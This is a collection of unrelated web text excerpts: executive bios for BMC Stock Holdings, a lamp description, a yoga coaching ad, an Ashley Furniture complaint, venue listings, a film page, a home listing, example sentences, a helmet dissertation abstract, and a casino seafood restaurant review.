Copyright © 2019 American College of Physicians. All Rights Reserved.
Print ISSN: 0003-4819 | Online ISSN: 1539-3704
Privacy Policy
Conditions of Use


text:
Mr. Flitman is President and Chief Executive Officer of BMC Stock Holdings, Inc. and serves on its board of directors. Prior to joining BMC, Mr. Flitman most recently served as President and Chief Executive Officer of Performance Foodservice, the largest segment of Performance Food Group, a leader in the foodservice distribution industry known for delivering world-class innovative products and value-added services. Before this, Mr. Flitman served as Chief Operating Officer of Univar, a leading global distributor of industrial and specialty chemicals. He previously served as Executive Vice President, President of Univar USA and Chief Supply Chain Officer. Before joining Univar, Mr. Flitman was Executive Vice President and President of Water & Process Services at Ecolab and held several executive leadership roles at Nalco. Before that, Mr. Flitman served as President of Allegheny Power and Vice President, Distribution at its parent company, Allegheny Energy after spending nearly 20 years at DuPont in various operational, commercial and global leadership positions. Mr. Flitman is a member of the board of directors at Veritiv Corporation, a leading publicly held packaging distribution company, and holds a bachelor's degree in chemical engineering from Purdue University.
Jim Major is Chief Financial Officer of BMC Stock Holdings and is responsible for finance and credit activities of the company as well as information technology. Prior to the formation of BMC Stock Holdings upon the completion of the merger of BMC and Stock Building Supply, Mr. Major served as Stock Building Supply's Chief Financial Officer since 2005. He joined Stock Building Supply in 1998 as Assistant Controller. Prior to that, Mr. Major was an audit manager with PricewaterhouseCoopers. In his almost 25-year career in finance, Mr. Major has built his expertise in multiple types of transactions, including acquisitions and real estate. He holds a Bachelor of Science, Accounting degree from Wake Forest University, is a Certified Public Accountant and has attended management programs at University of Virginia's Darden School of Business and the International Institute for Management Development in Lausanne, Switzerland.
Lisa Hamblet is Executive Vice President, Pro Remodel, Marketing and eBusiness for BMC Stock Holdings. She is responsible for developing, communicating and driving execution of the company's strategy, marketing and eBusiness initiatives with a focus on growing the Pro Remodeling customer segment. Ms. Hamblet joined Stock Building Supply in 2013 as EVP, eBusiness, Marketing and Process Improvement. Prior to that, Ms. Hamblet was with Staples Inc., where she held various senior management roles including Vice President of B2B eCommerce and Customer Support, Vice President of B2B Services and Vice President of Facility Solutions. Ms. Hamblet received her undergraduate degree from the University of Massachusetts, Amherst and an M.B.A. from Bentley University.
Mike Farmer is Executive Vice President, Operational Excellence, People and Growth for BMC Stock Holdings. Mr. Farmer is responsible for the company's human resources, process improvement and value-added product sales growth areas. Prior to his appointment as Executive Vice President in 2019, Mr. Farmer served as the company's Senior Vice President of Human Resources. Mr. Farmer joined Stock Building Supply in 2006, which merged with BMC in 2015, as a member of its Human Resources department. Before that, Mr. Farmer held the position of Director of Human Resources at ATX-CoreComm. Mr. Farmer earned his undergraduate degree from Hope College and master's degree from Michigan State University and has completed executive development programs at Wharton School of the University of Pennsylvania and Harvard University.
Joe Barnes is Senior Vice President, Supply Chain and Operations for BMC Stock Holdings and responsible for the Sourcing, Purchasing, Supply Chain, Logistics and Pricing. Mr. Barnes joined BMC in 2015 to lead the integration of BMC and Stock Building Supply. Mr. Barnes brings a diverse leadership background and over ten years of industry experience. Prior to joining BMC, Mr. Barnes held senior roles with Pro Build, Orco, Coombs & Associates and Exide Technologies. Mr. Barnes has a bachelor's degree from Cal State University-Chico and a M.B.A. from Western Washington University.
Keith Costello is Senior Vice President, Sales and Los Angeles Market Manager for BMC Stock Holdings and responsible for the sales and marketing efforts of the company. Mr. Costello joined BMC in 2011 and has 26 years of experience in the professional construction industry. Previously, Mr. Costello held the position of Vice President, Sales and Marketing at Traffic Control and Safety Corporation. Mr. Costello also held executive sales positions at ORCO Construction Supply, a leading distributor of supply products serving professional contractors, and at Sika Corporation, a $2 billion international manufacturer of infrastructure restoration construction products and services.
Return to BuildWithBMC.com


text:
Ribbon LED
Table and wall lamp totally adjustable. Flexible body in transparent PVC, reflector and charger-case made of polycarbonate and varnished in glossy black or glossy white. The base, the clamp and the wall mount are made of varnished metal. Transparent power cable of 200cm. Transformer with "touch" light intensity regulator. LED light source of 5W and 3500K.


text:
*Learn to cook high vibrational foods at home!
*Learn yoga alignments and proper posture for spinal health!
*Learn to plan and shop for all natural whole foods you can make quickly and easily in your busy lives!
Learn about private, public and one-on-one yoga courses and workshops.
Contact Angelika by email or call (808) 357-3134 to schedule a session.
Private Yoga Coaching
- $50 per hour Yoga Coaching One and a half hours initial session and 1 hour One-on-One follow up sessions.
- $65 per hour Yoga Coaching and Personal Format Personal format created for you for your home practice. Includes formats and handouts for you to take home each week we work together. Usually: 1.5 hours-initial session/1 hour follow up sessions.
- Recommended: A Month-long Package $260 (11% discount) One on One Yoga coaching with a personal format created for your home practice. Includes formats and handouts for you to take home each week we work together. 1.5 hours-initial session with 3 - 1 hour follow up sessions.
Private Group Classes
Retreats, Weddings, Conventions or Work Retreats
I offer "Office Yoga"- a series of yoga poses and relaxation techniques you can do at your desk! Give your employees the gift of relaxation and flexibility.
60 min. Private Classes:
- $25 a person-1-3 people
- $10 a person-6 person minimum
Angie is a natural teacher! She has the unique ability to connect with each of her students no matter how big the crowd. Her creativity and passion for all she does has inspired me to become more accountable to myself about the things I love and the lifestyle I want to lead. - Angel Devlin-Brown, Client Portland OR


text:
I purchased a bedroom set for $2300 from Ashley. A few months after delivery, the slates that hold the mattress up broke.
Ashley replaced them. They broke again (11/2017). I contacted Guardsman (the company Ashley recommends when you purchase)..Needless to say after weeks of sleeping on the floor (as it is now 1/12/18) my claim was approved. The slates only cost $100, but they make you go through a series of approvals before they say yes.
I was scheduled for a delivery date today. I was sent 3 text messages to confirm the date and time. My slates were NEVER delivered! I called the store I purchased from and the sales associate said "oh they were there..they left a note." Now of course I tried to contact customer service to tell them that there was no note, no one rang the bell.
I was told by customer service that "they left a note and sent us a picture of your door". I explained that there was NO note on my door,around the property. I asked for her to email me the photo. I was told "I'm not allowed to send emails, someone will call you to reschedule your delivery" I explained that the young lady I spoke with at the store already rescheduled me for Sunday.
The customer service rep replied, "no I don't see you scheduled. You can't be rescheduled until the item is returned back to the store. Maybe the girl at the store is monitoring this I don't know. Maybe they will call you tomorrow" After I expressed my frustrations about the poor quality of the furniture ( color fades..
falls apart..slates break.."wood" peels and chips) all the customer service agent wanted to discuss was "what color is your house, you are telling me you don't know what your house looks like". Let's focus on the fact that I am still sleeping on the floor, I tried to get a better resolution by contacting customer service prior to this. But all I got was I don't know, they did come to your home, I can't send you an email of your home that our delivery guy took.
I informed her I will never do business with them again, and I will be sure to spread the word. I also told her I will be writing a bad review,she had no concern.
Product or Service Mentioned: Ashley Furniture Bed.
Reason of review: Bad quality.
Hi, we're sorry that you were unsatisfied with your customer service experience. Please feel free to provide feedback by emailing firstname.lastname@example.com.
Please put Pissed Consumer – and your name in the subject box. We would be happy to try to help.
Thank you,


text:
A.I. & M.E. MacDonald Watson
15th-century Tithe Barn available for occasional hire.
Bruton Community Hall
For your events, groups, meetings & parties.
Jubilee Park Pavilion
Contact: Mrs Bernie Page. Jubilee Park, Bruton.
Red Cross Hall
Red Cross Hall, High Street, Bruton, Somerset
The Bruton Club
Social club located in central Bruton. Our facilities...
The Longhouse
The Longhouse at Mill on the Brue. Facilities:...


text:
|producer :
|Vipul Amrutlal Shah
|director :
|Nishikant Kamat
|cast :
|John Abraham, Genelia D'Souza, Raj Babbar, Mohnish Behl, Aashish Vidyarthi
|music director :
|Harris Jayaraj, Lalit Pandit
|lyricist :
|Javed Akhtar
|view trailer +
Force is a romantic - action film that revolves around Yashvardhan (John Abraham) who is a hard-headed senior narcotics officer who doesn't play by the book but always ensures that justice is served. He believes that the only way to eradicate crime is to give criminals the bullet - not hand cuffs.
In the midst of his most dangerous and significant operation to crack down on India's drug cartels, Yashvardhan encounters a ruthless enemy who will stop at nothing until he gets his revenge for the damage done to his business by the narcotics team.
He also meets the free-spirited Maya (Genelia D'Souza), whose love pushes him to make a choice between the life he already knows and the life he could have with her. Yashvardhan's decision to let happiness and normalcy into his life changes his life forever.
Nishikant Kamat, the director of the film says "This is a different offering from me altogether. John is ready to amaze his audience with his eight pack abs. He has been dedicated to the cause and it was a pleasure working with him. The film has got all the right elements to keep the viewers intact i.e. action and romance".
The film is a remake of the successful 2003 Tamil film Kaakha Kaakha, directed by Gautam Menon.
Complete Cast & Crew
|presenter :
|Fox Star Studios
|producer :
|Vipul Amrutlal Shah
|Exec Producer :
|Aashin A. Shah
|director :
|Nishikant Kamat
|cast :
|John Abraham, Genelia D'Souza, Raj Babbar, Mohnish Behl, Aashish Vidyarthi
|music director :
|Harris Jayaraj, Lalit Pandit
|lyricist :
|Javed Akhtar
|Cinematographer :
|Ayananka Bose
|Story :
|Gautham Menon, Ritesh Shah
|Editor :
|Aarif Shaikh
|Sound Designer :
|Sanjay Maurya, Allwyn Rego
|Background Music :
|Sameer Phaterpekar
|Choreographer :
|Bosco Martis, Caesar Gonsalves


text:
Click here for Price and Location!
LAKEFRONT and next to Island Pool! This home has it all. Raised Ranch with 5 bedrooms, 3 full baths, hardwood floors upstairs, laminate hardwood floors downstairs, wet bar, granite counter tops, stone fireplace in living room, a gas fireplace in family room, a kitchenette in the family room, bay window with views of the lake, an eating bar with views of the lake, dining room with French doors to the deck with more views of the lake, and much more. This home has an oversized attached garage, a landscaped yard, and is just a quick walk down the path to the lake or to the Island Pool!
Call Heather Rickert at 570-972-2940!


text:
Sentences with elderly. University students, readers, and people looking to increase their knowledge of English might especially enjoy this webpage. The lines of text below use elderly in a sentence, and provide visitors a sentence for elderly.
Also see sentences for: elder, elders.
- After taking her elderly cousin across, Fleur did not land at once, but pulled in among the reeds, into the sunshine. (8)
- An elderly lady of dignified bearing looked out and met her eyes with a pleasant glance. (5)
- At one place he achieved two cups of shameless chickory, at another three sardines, at a third a dessert of elderly bananas. (9)
- But he woke early, as an elderly man is apt to do after broken slumbers, and left his wife still sleeping. (9)
- But in spite of her filial attitude she could not keep her youth and strength and courage from quelling the forces of the elderly man. (9)
- Durgin went on, with the comfortable superiority of elderly people to all the trials of the young. (9)
- He was watching, with a teasing sense of familiarity, a tall, shabbily dressed, elderly man, who had just come in. (9)
- It is preposterous to suppose that I am to be tied down to the views of life of elderly people. (10)
- Our staid elderly sister has paler blood, and has, or thinks she has, a reason or two about the roots. (10)
- She is an elderly woman endowed with a motherly grimness. (8)
- Sometimes he laughed at her, and sometimes he scolded, but they were very good comrades, as elderly married people are apt to be. (9)
- The housekeeper came; a respectable-looking elderly woman, much less fine, and more civil, than she had any notion of finding her. (4)
- The two elderly ladies went away together. (10)
Glad you visited this page with a sentence for elderly. Perhaps also see a sentence for eagerly and ways to use eager in a sentence. Now that you've seen how to use elderly in a sentence hope you might explore the rest of this educational reference site Sentencefor.com to see many other example sentences which provide word usage information.


text:
Date of Award
Spring 4-1-2015
Document Type
Degree Name
Doctor of Philosophy (PhD)
Electrical, Computer & Energy Engineering
First Advisor
David G. Meyer
Second Advisor
John Hauser
Third Advisor
Harry Hilgers
Fourth Advisor
Michael Lightner
Fifth Advisor
Daniel Moorer
Thousands of mild traumatic brain injuries (mBTIs) occur in US football each year. In some instances, injuries are quite serious and life-threatening. New NFL rules being enforced by the league are an attempt to address this problem. Of interest is whether an active helmet design, employing feedback, can also reduce the incidence of mBTIs in football. Medical evidence and research suggests that peak center of gravity (CG) head acceleration is well correlated with the onset and severity of mBTI. In this dissertation, an active helmet design is introduced, dynamically modeled, and explored from the perspective of using control to reduce the maximum CG head acceleration during a typical football impact.
Recommended Citation
Abdel-Samad, Chadi S., "Optimization and Control of an Active Helmet Design for Head Injury Prevention" (2015). Electrical, Computer & Energy Engineering Graduate Theses & Dissertations. 114.
Included in
Biomechanics Commons, Biomedical Engineering and Bioengineering Commons, Robotics Commons


text:
Casting From Shore
Even for the La Center area, known in the region for its collection of casinos, the Cowlitz Indian Tribe's ilani Casino Resort can at times seem alien where it sits in the rolling hills of North County.
The same is true once inside, with the 100,000-square-feet gaming floor — made up of 2,500 slot machines and 75 gaming tables — dwarfing smaller gambling destinations in the area like the Last Frontier Casino or the Oak Tree. Furthermore, with its three other locations in New York City, Chicago, and Connecticut, Michael Jordan's Steakhouse doesn't exactly put off the air of a family-style diner one might expect in rural America.
But it isn't all big city glam and glitz. The Cowlitz Tribe has made a concerted effort to integrate local culture and the tribe's history in a number of ways — from design elements of the $510 million project, down to the artwork on playing cards.
One foremost way the Cowlitz Tribe has connected locally is through food, a perfect example of which is Line & Lure.
Line & Lure Seafood Kitchen and Tap, one of the first major restaurants ilani announced last spring, is in many ways a tribute to Pacific Northwest bodies of water.
The walls are lined with light colored wood as though they spent years holding together a fisherman's skiff before a change of careers to the restaurant industry. Menus are displayed on wall-size chalkboards among an assortment of drawings including the skeletal motif of a Northwest Coast Art-styled salmon, the Cowlitz Tribe logo, and a boat with "L&L" plastered on its main sail. Beach chairs adorn the patio and some surround an electric outdoor fire pit — a scene one might encounter along the Columbia River at Frenchman's Bar or Willow Grove. If patrons still haven't caught on, a quick glance to the sky should get the point across. A small sailboat hangs in the rafters, maybe 12-feet long with watermarks still on the hull and keel — the "Miss Haley," a name that presumably came with the used boat when it was acquired to adorn the restaurant's rafters, according to the general manager and wait staff.
The fish and crustaceans served by some of the 30 employees at Line & Lure are pulled off the coasts of Washington and Oregon.
The rockfish they use for their "Fish & Tots" comes from Newport, Oregon; the oysters on menu when The Reflector visited were from the Hood Canal and the mussels came from Prince Edward Island; the dungeness crab served with a burger first called Tillamook, Oregon home; their salmon and sturgeon often come from the Columbia River.
Line & Lure even picked a locally grown executive chef, Ryan Ziegler, who grew up in Vancouver before a culinary career took him around the region.
Ziegler said they try to pull from local waters as often as possible and that the restaurant plays an important role for the casino by giving visitors to the casino an option for a wide selection of local seafood, given its prevalence in the region.
"I think we have the best seafood in the area and we're the best restaurant in the casino," Ziegler said.
Although void of overhead boats, the front section of the restaurant features a long bar coupled with a line of sea-wo rn style bar chairs, facing four televisions running sports and four open cabinets of spirits. A plethora of local beers and wines are also available.
The entire restaurant is spacious, seating 254 at its max, and has a 28-person private dining room in the back.
CLICK HERE for the full review and images